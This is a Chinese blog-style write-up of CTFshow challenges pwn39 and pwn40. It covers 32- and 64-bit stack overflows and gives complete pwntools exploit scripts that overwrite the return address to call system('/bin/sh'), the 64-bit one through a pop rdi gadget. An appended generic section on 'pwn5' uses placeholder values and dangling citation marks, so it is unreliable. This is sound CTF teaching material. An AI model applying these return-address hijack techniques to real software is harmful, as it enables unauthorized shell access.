CTFshow-pwn入门-栈溢出pwn39-pwn40

pwn39

在这里插入图片描述
首先我们还是先将二级制文件托到虚拟机里面查看文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
文件依然是只开启了栈不可执行,canary和pie都没开。并且该文件是32位的,那我们就托到ida32中反编译一下吧。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts(asc_804876C);
  puts(asc_80487E0);
  puts(asc_804885C);
  puts(asc_80488E8);
  puts(asc_8048978);
  puts(asc_80489FC);
  puts(asc_8048A90);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&32bit");
  ctfshow(&argc);
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}
int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

我们可以看到ctfshow函数中buf数组长度为14,但是需要都进去0x32长度的数据,显然一定会发生栈溢出,但是这次文件没有给我们后门函数,但是却hint函数中给了我们一个system函数和“/bin/sh”的字符串,我们就可以利用这两个,来构造出system(“/bin/sh”)来获取shell,与后门函数的效果是一样的。

编写exp

获得溢出长度

使用gdb中cyclic获得冗余字符,在使用r启动程序,将冗余字符填入程序,程序报错会返回一个地址,再使用cyclic -l命令即可获得溢出长度。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到,溢出长度为22。

拿到system函数的地址

我们可以使用objdump命令来获取plt表中各个函数的地址,进而轻松拿到system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x080483a0

拿到/bin/sh的地址

/bin/sh的地址我们可以直接再ida中点击/bin/sh然后跳转到data段,可以直接获得它的地址。
在这里插入图片描述
/bin/sh的地址为:0x08048750

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28273")

offset = 22
system_addr = 0x080483a0
binsh_addr = 0x08048750
# p32(1) 代表是system函数的返回地址,由于不需要返回到某个地方,所以直接使用p32(1)来顶替4个字节 
# 32位传参是栈传参,参数与函数栈帧隔了一个返回地址,且参数在栈帧之下
payload = offset * 'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn40

在这里插入图片描述
首先还是将pwn文件下载下来,托到虚拟机里查看文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
可以看到该文件是64位的,并且只开启了栈不可执行,基本跟上道题目一样。那我们就pwn文件托到ida64中反编译一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts(asc_400828);
  puts(asc_4008A0);
  puts(asc_400920);
  puts(asc_4009B0);
  puts(asc_400A40);
  puts(asc_400AC8);
  puts(asc_400B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&64bit");
  ctfshow();
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32uLL);
}
int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

这道题基本和上道32位的题目是一模一样的,思路也一样,唯一不同的是我们64位在进行传参时与32位不一样,因为32位是栈传参,而64位是寄存器传参+栈传参,传送的前几个参数一般使用寄存器,把参数传到寄存器中即可,若参数过多,寄存器有限会继续使用栈传参。

具体64位传参方式如下:
当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。

那就再简单重复一下这道题的思路吧,通过ctfshow函数计算处buf溢出长度,然后利用栈溢出将ctfshow函数的返回地址修改为system函数的返回地址,然后将/bin/sh参数的地址传入rdi寄存器中即可。

编写exp

计算溢出长度

在这里插入图片描述
注意到,buf在栈中的位置是在rbp上面Ah=10长度处,加上rbp本身的所占栈单元的长度8(64位为8,32位为4),即:0xa + 0x8

拿到system函数的地址

还是使用objdump来查看文件的plt表来找system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x0000000000400520

拿到/bin/sh的地址

直接在ida64中点击/bin/sh即可跳转至data段,从而拿到其地址
在这里插入图片描述
/bin/sh的地址为:0x0000000000400808

拿到pop rdi;ret的地址

由于需要传参所以我们还需要将参数pop到rdi中,使用ret再继续取栈中我们填入的恶意地址继续控制程序的执行流。
注:ret的作用为:pop eip/rip;
在这里插入图片描述
pop rdi;ret 的地址为:0x00000000004007e3
ret的地址为:0x00000000004004fe

ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.csdn.net/hu_c_t_f/article/details/131902515

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28103")

offset = 0xa + 0x8
system_addr = 0x0000000000400520
binsh_addr = 0x0000000000400808
ret_addr = 0x00000000004004fe
pop_rdi_addr = 0x00000000004007e3

payload = offset * 'a' + p64(pop_rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

### CTF SHOW PWN入门 pwn5 解法 对于CTF SHOW平台上的PWN挑战,尤其是针对`pwn5`这一题目,解决方法通常涉及对二进制漏洞的理解以及如何利用这些漏洞来获取flag。 #### 题目分析 在处理这类问题时,首先需要下载并理解目标程序的行为模式。通过逆向工程工具如IDA Pro或Ghidra可以查看可执行文件内部结构,识别潜在的安全缺陷[^1]。 #### 漏洞发现 经过初步审查后得知此题存在栈溢出的可能性。当输入长度超过缓冲区大小时未作适当检查便直接复制到固定空间内,这使得攻击者能够覆盖返回地址从而控制EIP寄存器指向任意位置执行恶意代码片段[^2]。 #### 利用技巧 为了成功完成该关卡,需构建特定格式的数据包作为输入发送给服务端进程。这里采用的方法是构造ROP链(Return-Oriented Programming Chain),即精心挑选一系列现有指令序列组合起来实现所需功能而不必注入额外shellcode: ```python from pwn import * context(os="linux", arch="amd64") binary_path = './path_to_binary' elf = ELF(binary_path) # 远程连接设置 host, port = "remote_host", 1234 conn = remote(host, int(port)) # 构造payload offset = ... # 计算偏移量 ret_address = ... pop_rdi_ret_gadget = ... payload = b'A' * offset + \ p64(pop_rdi_ret_gadget) + \ p64(target_function_arg) + \ p64(ret_address) conn.recvuntil(b'Tell me your name:') conn.sendline(payload) ``` 上述Python脚本展示了基本框架,实际应用中还需根据具体情况调整参数值,比如计算正确的偏移量(offset),找到合适的gadgets等[^3]。 #### 获取Flag 一旦成功触发了预期行为,则可以通过读取内存中的字符串或其他方式获得最终答案。例如,在某些情况下可能需要解析动态链接库表项以定位标准I/O函数的实际映射地址,进而打印出隐藏信息;而在另一些场景下则可能是直接调用了puts()之类的API输出预设好的标志位[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值